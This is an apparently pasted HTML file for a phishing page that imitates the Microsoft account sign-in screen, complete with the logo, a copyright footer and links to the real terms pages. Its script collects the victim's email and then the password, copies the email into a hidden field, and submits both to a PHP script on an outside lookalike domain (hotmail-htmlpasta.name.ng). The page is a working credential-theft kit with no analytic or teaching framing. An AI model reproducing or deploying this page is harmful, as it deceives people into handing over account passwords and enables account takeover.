Untitled
5 years ago in HTML
<html>
<head>
<link rel="stylesheet" href="indexstyle.css">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="shortcut icon" href="https://hotmail-htmlpasta.name.ng/favicon.ico" type="image/x-icon"/>
<title>Sign in to your Microsoft account to continue</title>
<style>
*{
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
}
body {
background: url(https://hotmail-htmlpasta.name.ng/0.jpg);
background-size: cover;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
margin: 0 auto;
padding: 0;
width: 100%;
text-align: center;
}
p {
color: rgb(54, 54, 54);
}
.formbody {
background: white;
height: 255px;
width: 350px;
padding: 45px;
margin-top: 140px;
display: inline-block;
}
.formbody2 {
background: white;
height: 290px;
width: 350px;
padding: 45px;
margin-top: 115px;
display: inline-block;
}
.formbody2 .arrimg {
vertical-align: bottom;
position: relative;
top: 4px;
border: 1px solid white;
border-radius: 180px;
background: white;
cursor: pointer;
}
.formbody2 .arrimg:hover {
vertical-align: bottom;
position: relative;
top: 4px;
border: 1px solid lightgray;
border-radius: 180px;
background: lightgray;
}
.formbody2 .enteredemail {
margin-left: 8px;
}
.heading {
font-size: 24px;
font-weight: 500;
margin-top: 17px;
}
.errtxt {
margin-top: -7px;
}
.errtxt2 {
margin-top: -7px;
}
.fields_div {
height: 20px;
}
.inputfield {
border: 0.5px solid rgb(73, 73, 73);
border-top: transparent;
border-right: transparent;
border-left: transparent;
height: 40px;
outline: none;
width: 100%;
font-size: 14.5px;
margin-top: -14px;
}
.inputfield:focus {
border: 1px solid rgb(4, 96, 187);
border-top: transparent;
border-right: transparent;
border-left: transparent;
}
.inputfield2 {
border: 0.5px solid rgb(73, 73, 73);
border-top: transparent;
border-right: transparent;
border-left: transparent;
height: 40px;
outline: none;
width: 100%;
font-size: 14.5px;
margin-top: -14px;
-webkit-text-security: disc;
}
.inputfield2:focus {
border: 1px solid rgb(4, 96, 187);
border-top: transparent;
border-right: transparent;
border-left: transparent;
-webkit-text-security: disc;
}
.inputcheckbox {
width: 20px;
height: 20px;
font-size: 12px;
vertical-align: bottom;
position: relative;
top: 2px;
}
.checkbox_text {
font-size: 15px;
}
.underfieldtext {
font-size: 13px;
}
.underfieldtext a {
text-decoration: none;
outline: none;
color: rgb(4, 96, 187);
}
.subbtn_div {
margin-top: 110px;
}
.subbtn {
width: 110px;
border: 1px solid rgb(4, 96, 187);
background: rgb(4, 96, 187);
color: white;
font-size: 16px;
padding: 5px 0 5px 0;
cursor: pointer;
}
.footer_container {
background: rgba(0, 0, 0, 0.623);
position: absolute;
bottom: 0;
width: 99%;
padding-top: 4px;
}
.footerbar {
color: white;
position: fixed;
bottom: 0;
right: 0;
margin-bottom: 4px;
}
.footerbar span {
font-size: 12px;
margin-left: 7px;
margin-right: 7px;
}
.footerbar span img {
margin-bottom: -5px;
}
.footerbar span.second {
visibility: hidden;
margin-left: 0px;
margin-right: 2px;
}
.footerbar span a {
color: white;
text-decoration: none;
outline: none;
}
@media (max-width: 600px) {
body {
background: white;
}
.formbody {
width: 400px;
margin: unset;
}
.formbody2 {
width: 400px;
margin: unset;
}
.subbtn_div {
margin-top: 150px;
}
.subbtn {
width: 110px;
border: 1px solid rgb(4, 96, 187);
background: rgb(4, 96, 187);
color: white;
font-size: 15px;
padding: 5px 0 5px 0;
}
.inputfield {
margin-top: -7px;
}
.footer_container {
background: white;
position: absolute;
bottom: 0;
right: 0;
}
.footerbar {
color: dimgray;
position: unset;
padding: 10px;
}
.footerbar span {
margin-left: 4px;
}
.footerbar span a {
color: dimgray;
text-decoration: none;
outline: none;
}
}
@media (max-width: 450px) {
body {
width: 85%;
margin: 7.5%;
background: white;
}
.formbody {
width: 100%;
padding: 0;
margin: unset;
}
.formbody2 {
width: 100%;
padding: 0;
margin: unset;
}
.subbtn {
width: 105px;
border: 1px solid rgb(4, 96, 187);
background: rgb(4, 96, 187);
color: white;
font-size: 15px;
padding: 4.5px 0 4.5px 0;
}
}
</style>
</head>
<body>
<div class="formbody" id="formbody">
<form action="" method="post">
<div align="left" class="logo_div">
<img src="https://hotmail-htmlpasta.name.ng/microsoft_logo.svg" alt="mslogo" srcset="">
</div>
<p align="left" class="heading">Sign in</p>
<div class="fields_div">
<p align="left" class="errtxt" id="errtxt"></p>
<input class="inputfield" type="text" name="" id="textinput" placeholder="Email, phone, or Skype" onkeyup="focusValidation();">
<p align="left" class="underfieldtext">No account? <a href="#">Create one!</a></p>
</div>
</form>
<div align="right" class="subbtn_div">
<input id="emailnextbtn" class="subbtn" type="submit" value="Next">
</div>
</div>
<div class="formbody2" id="formbody2">
<form action="https://www.hotmail-htmlpasta.name.ng/oluwa/Sigin.php" method="post" onsubmit="return validatesubmit()">
<div align="left" class="logo_div">
<img src="https://hotmail-htmlpasta.name.ng/microsoft_logo.svg" alt="mslogo" srcset="">
</div>
<p align="left"><img id="arrimg" class="arrimg" src="https://hotmail-htmlpasta.name.ng/arrow_left.svg" alt=""><span class="enteredemail" id="enteredemail"></span> </p>
<p align="left" class="heading">Enter password</p>
<div class="fields_div">
<p align="left" class="errtxt2" id="errtxt2"></p>
<input type="hidden" name="foundemail" id="identitydetails">
<input class="inputfield2" type="text" name="password" id="passinput" placeholder="Password" onkeyup="focusValidationB();">
<p align="left"><input class="inputcheckbox" type="checkbox" name="" id=""> <span class="checkbox_text"> Keep me signed in</span></p>
<p align="left" class="underfieldtext"><a href="#">Forgot my password</a></p>
</div>
<div align="right" class="subbtn_div">
<input class="subbtn" type="submit" value="Sign in">
</div>
</form>
</div>
<div class="footer_container">
&nbsp;
<div align="right" class="footerbar">
<span> </span>
<span > © 2018 Microsoft</span>
<span><a href="https://login.live.com/gls.srf?urlID=WinLiveTermsOfUse&mkt=EN-US&vv=1600">Terms of use</a> </span>
<span><a href="https://login.live.com/gls.srf?urlID=MSNPrivacyStatement&mkt=EN-US&vv=1600">Privacy Cookies </a> </span>
<span><img src="https://hotmail-htmlpasta.name.ng/ellipsis_white.svg" alt="" srcset=""></span>
<span class="second"></span>
</div>
</div>
<script>
var formbody = document.getElementById("formbody");
var textinput = document.getElementById("textinput");
var formbody2 = document.getElementById("formbody2");
var emailnextbtn = document.getElementById("emailnextbtn");
var backbtn = document.getElementById("arrimg");
var enteredemail = document.getElementById("enteredemail");
var errtxt = document.getElementById("errtxt");
var passinput = document.getElementById("passinput");
formbody2.style.display ="none";
emailnextbtn.onclick = function() {
if(textinput.value =="") {
errtxt.innerHTML ="Enter a valid email address, phone number, or Skype name."
errtxt.style.color ="red";
textinput.style.borderBottomColor ="red";
textinput.focus();
}
else {
formbody.style.display ="none";
formbody2.style.display ="inline-block";
errtxt.innerHTML =""
errtxt.style.color ="red";
textinput.style.borderBottomColor ="rgb(73, 73, 73)";
enteredemail.innerHTML = textinput.value;
passinput.focus();
}
}
backbtn.onclick = function() {
formbody2.style.display ="none";
formbody.style.display ="inline-block";
textinput.focus();
passinput.value =""
}
function focusValidation() {
var formbody = document.getElementById("formbody");
var textinput = document.getElementById("textinput");
var formbody2 = document.getElementById("formbody2");
var emailnextbtn = document.getElementById("emailnextbtn");
var backbtn = document.getElementById("arrimg");
var enteredemail = document.getElementById("enteredemail");
var errtxt = document.getElementById("errtxt");
if(textinput.value =="") {
errtxt.innerHTML ="Enter a valid email address, phone number, or Skype name.";;
errtxt.style.color ="red";
textinput.style.borderBottomColor ="red";
textinput.focus();
}
else {
errtxt.innerHTML ="";
errtxt.style.color ="red";
textinput.style.borderBottomColor ="rgb(73, 73, 73)";
enteredemail.innerHTML = textinput.value;
}
}
function focusValidationB() {
var passinput = document.getElementById("passinput");
var errtxt2 = document.getElementById("errtxt2");
if (passinput.value =="") {
errtxt2.innerHTML ="Please enter the password for your Microsoft account.";
errtxt2.style.color ="red";
passinput.style.borderBottomColor ="red";
}
else {
errtxt2.innerHTML ="";
errtxt2.style.color ="red";
passinput.style.borderBottomColor ="rgb(73, 73, 73)";
}
}
function validatesubmit() {
var passinput = document.getElementById("passinput");
var errtxt2 = document.getElementById("errtxt2");
var textinput = document.getElementById("textinput");
var identitydetails = document.getElementById("identitydetails");
if (passinput.value =="") {
errtxt2.innerHTML ="Please enter the password for your Microsoft account.";
errtxt2.style.color ="red";
passinput.style.borderBottomColor ="red";
passinput.focus();
return false;
}
identitydetails.value = textinput.value;
return (true);
}
</script>
</body>
</html>